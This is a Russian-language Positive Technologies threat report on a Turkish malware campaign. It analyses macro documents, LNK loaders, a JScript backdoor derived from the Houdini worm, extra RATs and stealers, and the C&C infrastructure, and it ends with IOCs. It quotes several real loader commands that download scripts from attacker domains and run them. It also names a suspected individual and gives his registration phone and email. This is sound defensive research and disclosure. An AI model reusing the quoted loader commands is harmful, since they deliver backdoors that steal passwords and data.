Positive Technologies
PT Expert Security Center

Турецкие фокусы с червями, крысами… и фрилансером

Турецкие фокусы с червями, крысами… и фрилансером

Специалисты группы исследования угроз экспертного центра безопасности Positive Technologies (PT Expert Security Center) обнаружили вредоносную кампанию, которая активна по крайней мере с середины января 2018 года. Операция направлена на пользователей из Бразилии, Великобритании, Венгрии, Германии, Латвии, США, Турции, с Филиппин. Используется многообразие инструментов и техник заражения и управления ПК жертвы. В данном отчете детально рассмотрены стадия заражения, применяемые утилиты, особенности организации сетевой инфраструктуры, а также цифровые следы, выведшие нас на кандидатуру предполагаемого хакера.

Резюме

  • Атакующие переработали червя 10-летней давности с учетом современных приемов
  • Зоопарк используемых инструментов в совокупности с обширной сетевой инфраструктурой
  • Главный подозреваемый – турецкий фрилансер

Доставка полезной нагрузки

Офисные документы

Пятого апреля 2019 года, в рамках отслеживания новых угроз, специалисты PT Expert Security Center обнаружили подозрительный офисный документ. Файл с расширением .docm (документ MS Word нового образца с поддержкой макросов):

  • создан за несколько дней до обнаружения (2019-03-31),
  • содержит изображение с целью убедить пользователя включить макросы,
  • был создан на системе с турецким языком (об этом свидетельствуют значения полей метаданных: «Konu Başlığı» — «Название темы», «Konu Ba l , 1» — «Предметный заголовок, 1»; перевод Google Translate).
Рис. 1. Типичная ловушка с уведомлением о необходимости включения макросов
Рис. 1. Типичная ловушка с уведомлением о необходимости включения макросов

Код макроса немного обфусцирован, но лаконичен: средствами командлета Background Intelligent Transfer Management (BITS) для PowerShell загружает и запускает сценарий на JScript с сервера злоумышленника:

Shell ("pow" & "ershe" & "ll -comm" & "and ""$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb1.js;');Start-Process -WindowStyle hidden -FilePath 'cmd.exe' -ArgumentList '/c %systemroot%\system32\wscript %temp%\bb1.js'""")

Использование PowerShell и нетипичного модуля для загрузки файлов с веб-сервера обусловлено попыткой обойти ограничения на запуск и исполнение недоверенных программ.

Существует несколько аналогичных документов. Например, один из них представляет собой .doc-файл (документ MS Word старого образца) с кодовой страницей символов на турецком языке. Работа макроса также очень схожа:

Shell "cmd.exe /c bitsadmin /transfer myjob /download /priority FOREGROUND https://definebilimi.com/up3e.js %temp%\o2.js & wscript.exe %temp%\o2.js", vbHide

В данном случае автор использует ту же BITS-технологию, но при помощи легитимной системной утилиты bitsadmin. Интересно, что и дата создания документа, и время обнаружения в публичных источниках отсылают нас к середине июля 2018 года. Таким образом, атаки актуальны как минимум около года. Кроме этого, для загрузки пейлоада используется тот же самый сервер злоумышленника; схож и подход к именованию загружаемого сценария на JScript.

Еще один документ имеет расширение .rtf (Rich Text Format). В него вложены несколько .xls-документов (документ MS Excel старого образца) с одинаковым содержанием. Код макроса полностью идентичен извлеченному из первоначального документа, а совпадения значений кодовой страницы и XML-поля HeadingPairs ведут к тому же авторству.

LNK-ярлыки

Стоит отметить, что в этой кампании в качестве первоначальной стадии заражения использовались не только офисные документы. Мы встретили пару вредоносных .lnk-файлов (Windows Shell Link), при запуске которых выполнялась следующая команда:

C:\Windows\System32\cmd.exe /c powershell -command "$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb.js;')" & %systemroot%\system32\wscript %temp%\bb.js

Ярлыки распространялись в середине марта и конце апреля 2019 года.

Метаданные ярлыков содержат имя пользователя win7-bilgisayar (с турецкого «win7-компьютер») — пользователя системы, на которой они создавались.

Мы можем с уверенностью предположить, что почтовые фишинговые рассылки — наиболее вероятный сценарий доставки вредоносных файлов на первой стадии заражения.

Метаморфозы Гудини

Все рассмотренные объекты первой стадии заражения загружают и запускают один и тот же сценарий на JScript (без учета незначительных различий). Файл не обфусцирован и не упакован, а единственное, что предпринято для усложнения анализа, — случайные имена переменных. Представляет собой бэкдор на платформе WSH. Из особенностей его работы можно выделить следующие:

  • Адрес хоста и порт управляющего сервера зашиты в скрипте.
  • Взаимодействие с C&C осуществляется средствами POST-запросов протокола HTTP.
  • В момент начала работы в поле URI вставляется строка «is-bekle», в переводе с турецкого «is-ready».
  • Поле User-Agent содержит краткую информацию о системе с заданным разделителем (в данном случае, «<|>»):
    • серийный номер жесткого диска,
    • имя пользователя,
    • версия системы,
    • имя скрипта,
    • имя антивируса,
    • значение переменной среды %ProgramData%,
    • наличие .Net FrameWork 4.5.2 в системе,
    • время ожидания между запросами,
    • наличие Java в системе.
  • окружение на предмет песочницы «Лаборатории Касперского» по заданному серийному номеру жесткого диска. В случае совпадения прекращает работу.
  • Получает от сервера и выполняет заданные команды; вот некоторые из них:
    • загрузка файла с сервера,
    • выгрузка файла на сервер,
    • сбор содержимого буфера обмена,
    • сбор содержимого каталога,
    • сбор информации о процессах,
    • запуск команд в интерпретаторе cmd.exe,
    • снятие и отправка скриншота,
    • извлечение и отправка баз данных Chrome и Opera с паролями.
    • Рис. 2. Начало загруженного сценария на JScript с сервера злоумышленника
      Рис. 2. Начало загруженного сценария на JScript с сервера злоумышленника

По наличию комментариев, структуре кода, используемым именам команд и формату сбора информации о системе можно провести параллель с хорошо известным VBS-червем Houdini. Наши коллеги из FireEye в 2013 году привели подробный разбор функций этого трояна, обработка команд и сбор информации в котором происходят аналогичным образом. Похоже, что в нашем случае злоумышленник взял за основу модель работы известного червя, переписал функции не на VBScript, а на JScript, и заменил некоторые английские строки турецкими.

Рис. 3. Обработка команд JScript-бэкдора
Рис. 3. Обработка команд JScript-бэкдора

Стоит отметить, что в качестве маркера результатов выполнения команд используются строки, содержащие подстроку «Bcorp». Она же присутствует в имени управляющего сервера ip1[.]bcorp.fun.

На сервере злоумышленника

По данным Shodan на 30 апреля 2019 года, на хосте злоумышленника работает веб-сервер на базе AppServ. Не похоже, что сервер тщательно настраивали: например, доступна страница phpinfo, раскрывающая любопытную информацию о конфигурации. При анализе веб-ссылок, с которых загружалось вредоносное ПО, выяснилось, что на сервере присутствует открытая директория (каталог ./a) с листингом других инструментов злоумышленника.

Рис. 4. Домашняя страница сервера злоумышленника
Рис. 4. Домашняя страница сервера злоумышленника
Рис. 5. Страница phpinfo на сервере злоумышленника
Рис. 5. Страница phpinfo на сервере злоумышленника
Рис. 6. Листинг открытой директории сервера злоумышленника в конце апреля 2019 года
Рис. 6. Листинг открытой директории сервера злоумышленника в конце апреля 2019 года
Рис. 7. Листинг открытой директории сервера злоумышленника в конце мая 2019 года
Рис. 7. Листинг открытой директории сервера злоумышленника в конце мая 2019 года

Ниже представлено описание обнаруженных файлов.

Houdini JScript

В первую очередь, получено множество вариаций модифицированного червя Houdini, рассмотренного выше. От версии к версии скрипт претерпевал незначительные изменения: менялись имена хостов (husan2.ddns.net, ip1.bcorp.fun, ip1.qqww.eu), порты (86, 87), имена переменных, появлялись или исчезали отдельные команды. Одна из версий даже была обрамлена в виде скриптлета на JScript.

Рис. 8. Houdini JScript в виде скриптлета
Рис. 8. Houdini JScript в виде скриптлета

Bcorp JAR

Самописный легкий бэкдор на языке Java. Взаимодействует с C&C по TCP по порту 22122. Умеет:

  • выполнять команды в интерпретаторе cmd.exe,
  • определять версию системы,
  • перечислять каталоги,
  • выгружать файлы,
  • прописываться в каталог автозагрузки и ветку автозапуска реестра.

Похоже, что именно для этого модифицированный червь проверяет наличие Java в системе. При этом неясно, зачем использовать дополнительный бэкдор, ведь первоначальный обладает достаточным набором функций.

Get-ChromeCreds

PowerShell-обертка для извлечения истории, логинов, паролей, cookie из браузера Chrome. Некоторые версии содержат вспомогательную библиотеку System.Data.SQLite.dll для x86- и x64-систем в base64-закодированном виде, остальные предполагают ее наличие в каталоге %APPDATA%. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.

Start-KeyLogger

PowerShell-имплементация простейшего кейлоггера. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.

Рис. 9. Фрагмент кода PowerShell-кейлоггера
Рис. 9. Фрагмент кода PowerShell-кейлоггера

WebBrowserPassView

Утилита от Nirsoft для получения логинов и паролей из популярных браузеров. Злоумышленники использовали авторскую версию, предварительно упаковав ее с помощью ASPack для усложнения анализа или обхода детектирования по индикаторам.

NetWire RAT

Публично доступный, коммерческий инструмент для удаленного контроля над ПК. Используется различными киберпреступными группами. Малварщики усложнили анализ и обнаружение путем упаковки RAT в PE на платформе .NET и применения обфускатора кода DeepSea 4.1.

TCP Listen

Простенькая GUI-утилита от AllScoop для тестирования параметров роутера или межсетевого экрана. На каждый слушающий порт отвечает заданной строкой, завершая соединение.

Рис. 10. GUI утилиты TCP Listen
Рис. 10. GUI утилиты TCP Listen

LNK loader

Ярлык-загрузчик, схожий с уже рассмотренными ранее. При запуске выполняет следующую команду:

C:\Windows\System32\cmd.exe /v /c "set i=h&&ms!i!ta http://ip1.qqww.eu/1/f.htm"

На этот раз ярлык был создан под другим пользователем (desktop-amkd3n3).

Script loaders

В эту группу мы объединили различные загрузчики рассмотренных выше RAT. Все они небольших размеров (до 1 КБ), различных форматов (.htm, .xsl, .hta и т. д.), код выполняется на нескольких скриптовых (JScript, PowerShell) языках и компилируемом «на лету» C#. Ниже представлены фрагменты кода некоторых образцов:

Рис. 11. Фрагмент .htm-загрузчика
Рис. 11. Фрагмент .htm-загрузчика
Рис. 12. Фрагмент .xsl-загрузчика
Рис. 12. Фрагмент .xsl-загрузчика
Рис. 13. Фрагмент .ps1-загрузчика
Рис. 13. Фрагмент .ps1-загрузчика

Tiny PE loaders

Помимо скриптовых загрузчиков были обнаружены PE-файлы на платформе .NET. Они также небольших размеров (до 10 КБ), с аналогичной емкой функциональностью:

Рис. 14. Пример декомпилированного кода одного из PE-загрузчиков
Рис. 14. Пример декомпилированного кода одного из PE-загрузчиков

xRAT

Публично доступный, свободно распространяемый для удаленного управления ПК. Широко распространены различные версии и модификации. Написан на C#, частично обфусцирован.

Bcorp panel vs. builder

Управляющая серверная часть для JScript-бэкдора. В то же время является и конструктором клиентской части. Представляет собой PE на платформе .NET. Не обфусцирована, не упакована. Интерфейс напоминает переработанную серверную часть для уже упомянутого VBS-червя Houdini. Кроме отправки команд загружает на зараженную машину дополнительные компоненты и плагины, описанные ранее: окружение Java, PowerShell-скрипты и утилиту от Nirsoft для сбора информации с браузеров, PowerShell-скрипты для перехвата нажатых клавиш и т. д. Любопытно, что проект носит название BcorpRat, что можно увидеть в заголовке окна на изображениях ниже. А в названии пространства имен исходного программного кода фигурирует строка «Btech», к которой мы вернемся чуть позже.

Рис. 15. Панель управления JScript-бэкдором, главное окно
Рис. 15. Панель управления JScript-бэкдором, главное окно
Рис. 16. Панель управления JScript-бэкдором, окно конструктора клиентской части
Рис. 16. Панель управления JScript-бэкдором, окно конструктора клиентской части

Сетевая инфраструктура

Далее мы проведем более детальный анализ адресов, с которыми взаимодействовали те или иные вредоносные программы атакующего. Начнем с домена definebilimi.com, к которому обращаются офисные документы и ярлыки-загрузчики.

definebilimi.com

Шестнадцатого января 2018 года у этого домена появился новый владелец. Кстати, «define bilimi» дословно переводится с турецкого как «сокровище науки». Ниже представлены наиболее интересные данные из истории WHOIS-записей на тот момент.

Таблица 1. Информация о регистранте (владельце) домена definebilimi.com
Имя записи Значение записи
Registrant Name Koray YAMAN
Registrant Street 123456
Registrant City Istanbul
Registrant Country TR
Registrant Phone +90.5350167352
Registrant Email btech@hotmail.com.tr

Будет опрометчиво утверждать, что данные являются подлинными. Указанная страна и частота появления следов турецкого языка в коде позволяют нам предположить, что эти совпадения не случайны. А электронный адрес содержит подстроку «btech», на которую мы уже обращали внимание.

Интересной выглядит история изменений NS-серверов, которые предоставляли информацию о зарегистрированном домене:

Таблица 2. История NS-серверов домена definebilimi.com
Дата Действие Сервер
17.03.2018 Новая запись buhar.biz
15.01.2019 Смена записи definebilimi.com
04.06.2019 Смена записи qqww.eu

Хосты buhar.biz и qqww.eu уже встречались во вредоносном ПО ранее.

buhar.us

Новая история этого домена («buhar» с турецкого — «пар») начинается с того же дня, что и история definebilimi.com, — 16 января 2018 года.

Таблица 3. Информация о регистранте (владельце) домена buhar.us
Имя записи Значение записи
Registrant Name balta zar
Registrant Organization BuharuS
Registrant Street Gizli
Registrant City Gizli
Registrant Country TR
Registrant Phone +1.123456789
Registrant Email buharcin@yandex.com

Ситуация схожа: вновь часть данных выглядят фальшивыми за исключением почтового адреса («buharcin» с турецкого — «паровоз»).

bcorp.fun

Домен зарегистрирован с 23 марта 2019 года. Кроме того, что страна зарегистрированного снова Турция, в качестве организации клиента приводится «Bcorp». Собственно, это же мы видим и в самом названии домена, как и в нескольких абзацах ранее.

husan2.ddns.net

Любопытно, что злоумышленник обзаводится хостами не только классическим способом. С середины марта 2019 года было зафиксировано использование так называемых динамических DNS-серверов. Технология позволяет атакующим эффективно скрывать свои IP-адреса и обеспечить живучесть своих центров управления. Стоит отметить и некоторую предсказуемость в выборе имен: так, например, через пару месяцев было обнаружено использование домена husan3.ddns.net, а вот активность домена husan.ddns.net датируется аж апрелем 2017 года.

bkorp.xyz

С начала апреля хакер, продолжая двигаться по пути анонимизации, регистрирует домены с использованием сервиса WhoisGuard, Inc., располагающегося в Панаме; bkorp.xyz, prntsrcn.com и i37-imgur.com — лишь некоторые примеры. Используемые NS-сервера по-прежнему связывают их с другими вредоносными доменами.

qqww.eu

Кроме того, что у этого домена, так же как и у домена bcorp.fun, есть поддомен ip1, — существует и еще одна немаловажная деталь. В информации о регистранте указана организация Osbil Technology Ltd., якобы располагающаяся в Берлине. На самом деле одноименная организация располагается на побережье Кипра в городе Фамагуста — на территории частично признанной Турецкой Республики Северного Кипра. А официальный сайт компании располагается на домене, который являлся NS-сервером домена bcorp.fun с марта по май 2019 года. Мы не нашли признаков компрометации сервера имен, а инфраструктурные особенности NS-провайдера (замещение клиента данными провайдера в графе регистранта) позволили скрыть информацию о клиенте от публичного доступа.

Рис. 17. Информация о регистранте (владельце) домена qqww.eu
Рис. 17. Информация о регистранте (владельце) домена qqww.eu

IP-адреса

Для полноты картины ниже приведены IP-адреса — с некоторыми доменами, соответствовавшими им в различные промежутки времени:

  • 5.255.63.12
    • bcorp.fun
    • husan.ddns.net
    • husan2.ddns.net
    • husan3.ddns.net
    • qqww.eu
  • 192.95.3.137
    • bcorp.fun
    • bkorp.xyz
    • definebilimi.com
    • i36-imgur.com
    • i37-imgur.com
    • i38-imgur.com
    • i39-imgur.com
    • prntsrcn.com
    • qqww.eu
  • 192.95.3.140
    • bkorp.xyz
    • buhar.us

По следам хакера

Среди вредоносных и вспомогательных инструментов на сервере злоумышленника было найдено любопытное изображение:

Рис. 18. Изображение в каталоге на хостинге злоумышленника
Рис. 18. Изображение в каталоге на хостинге злоумышленника

Мы не уменьшали разрешение картинки, а разместили его здесь в таком виде, как оно было на хосте.

Несмотря на низкое качество изображения, нам удалось установить, что это скриншот страницы о совершенной транзакции с криптовалютой на ресурсе blockr.io. Это ничего не дало, поэтому мы попытались найти все связанное с именем IMG_JPEG-0371e4dce3c8804f1543c3f0f309cc11.jpg, с которым изображение хранилось у хакера. Следы привели к результату обработки на онлайн-анализаторе некоторого файла, имя которого совпадало с именем нашей картинки. Обработанный объект представляет собой Windows-ярлык, подобный тем, которые мы уже рассматривали ранее. К нему была прикреплена картинка с фотографией идентификационной карты турецкого гражданина, фамилия которого совпадает с фамилией, которая указывалась при регистрации домена, — Yaman.

Рис. 19. Идентификационная карта с ярлыком-загрузчиком
Рис. 19. Идентификационная карта с ярлыком-загрузчиком

Обработка ярлыка в онлайн-песочнице происходила не вследствие загрузки файла пользователем, а путем передачи URL-адреса, с которого было необходимо загрузить и обработать объект:

hxxps://github.com/btechim/prntsrcn/blob/nm46ny/IMG-0371e4dce3c8804f1543c3f0f309cc11.jpg.lnk?raw=true

Github-аккаунт пользователя уже заблокирован, однако по ссылке мы можем установить никнейм пользователя (btechim) и имя проекта (prntsrcn). Имя проекта совпадает с именем одного из доменов, обнаруженного в кампании (prntsrcn.com), а в прозвище пользователя содержится подстрока btech, фигурирующая в программном коде админских панелей, о которых шла речь выше.

Поиск по никнейму пользователя вывел нас на ресурс фрилансеров, на котором расположена страничка пользователя из Турции — с таким же никнеймом, с подтвержденным номером телефона, почтовым адресом и профилем в Facebook, — предлагающего свои услуги по разработке ПО в области кибербезопасности.

Рис. 20. Страница предполагаемого злоумышленника на ресурсе для фрилансеров
Рис. 20. Страница предполагаемого злоумышленника на ресурсе для фрилансеров

Выводы

На протяжении нескольких месяцев специалисты Positive Technologies наблюдали за развитием вредоносной кампании турецкого происхождения и передали накопленные данные в CERT Турции. Далеко не часто в ходе одной серии атак сочетается использование современных техник и переработанных инструментов 10-летней давности. Злоумышленник применял самые разные инструменты (по назначению, по платформе, по уровню сложности) для получения полного контроля над целевым ПК. Стоит отметить вариативность подходов при подготовке сетевой инфраструктуры в попытках скрыть свою личность. Однако в очередной раз было учтено не все, самонадеянность и несколько упущений выдали преступника. Исследование было передано в центр реагирования на инциденты информационной безопасности Турции.

Автор: Алексей Вишняков, Positive Technologies

IOCs

Office loaders:
3305720da73efbcb7d25edbb7eff5a1a
5b6d77f3e48e7723498ede5d5ba54f26
621a0133e28edec77a2d3e75115b8655
712e7ec49ad3b8c91b326b6d5ee8dcd8
731a3d72e3d36c2270c1d0711c73c301
929374b35a73c59fe97b336d0c414389

LNK loaders:
3bc5d95e2bd2d52a300da9f3036f5b3b
527069e966b4a854df35aef63f45986a
a4667e0b3bfaca0cda5c344f1475b8e0

Houdini JScript:
04c2ad67de2cea3f247cf50c5e12e969
5ab9176b9ed9f7a776ec82c412a89eab
84f0d098880747f417703f251a2e0d1c
94c6ba0d812b4daf214263fffc951a20
a52509a38846b55a524019f2f1a06ade
bf2fb6cdbc9fde99e186f01ad26f959f
c871091ce44594adbd6cf4388381e410
daf6a9eb55813d1a151695d33506179d
f010af1b330d00abb5149e9defdae6ee
ff924faeb9dfd7384c05abe855566fc9

Bcorp JAR
59978b5a9e4ab36da0f31a8f616cc9d3
a7219da3b0c0730c476fe340dbf7e4e5
ddac55213089da9ef407bce05ebe653e

Get-ChromeCreds
11769e9f49123a2af00bd74453221c07
1a81c9119d7761535c198ddb761979b8
42a85849a591e65b0254d9bcbdf59f82
8e49263f33c53ee5bc91bebbf9617352
c9ab090ad2badb9862fd5b6058428096

Start-KeyLogger
55daa84475a11ea656183e0ad5ccc608
aa82fbb6a341d71d2431b6d2ebca027c

WebBrowserPassView
7722e086cf7ed59955a1d6ec26f49cf3

NetWire RAT
1470a08bd427bb8738a254ba4f130ff5
5f8495016773c7834b1c588f0997a6c4

TCP Listen
913567da98185cad9f91a570dc298de1

Script loaders
02946d10c6a34fe74826f3c0b0a6a3e0
1ad644bdba488a6e42ad76aea2c0ee54
3a2dcf36b9206a135daa73c645a3f56f
4dddd87d3cb80145c9859fd76dfef794
74c5e5be9f79bd9e7ee84fd046c14e68
78f4d5fa6c68dae4b03860b54ec6cc67

Tiny PE loaders
0f3c56018a7051aebe060454fc981f5b
1b9cefc229daddc4557cea0e3bdf4656
29e6679107bd9c72aa061371082206bb
b66b7395825b9ed656b768d4e7fe1de7
fbc606b8b04e51ddb342e29b84ac1edb

xRAT
2e9a0637478938cc3e4519aa7b4219cc
7c67c93ba243be32e5fd6a6921ceded3

Bcorp panel vs. builder
405c987ba1a8568e2808da2b06bc9047
c3ac8b7a7c8c0d100e3c2af8ccd11441

Bcorp C&C
bcorp[.]fun
bkorp[.]xyz
buhar[.]us
definebilimi[.]com
husan.ddns[.]net
husan2.ddns[.]net
husan3.ddns[.]net
i36-imgur[.]com
i37-imgur[.]com
i38-imgur[.]com
i39-imgur[.]com
prntsrcn[.]com
qqww[.]eu
5.255.63[.]12
192.95.3[.]137
192.95.3[.]14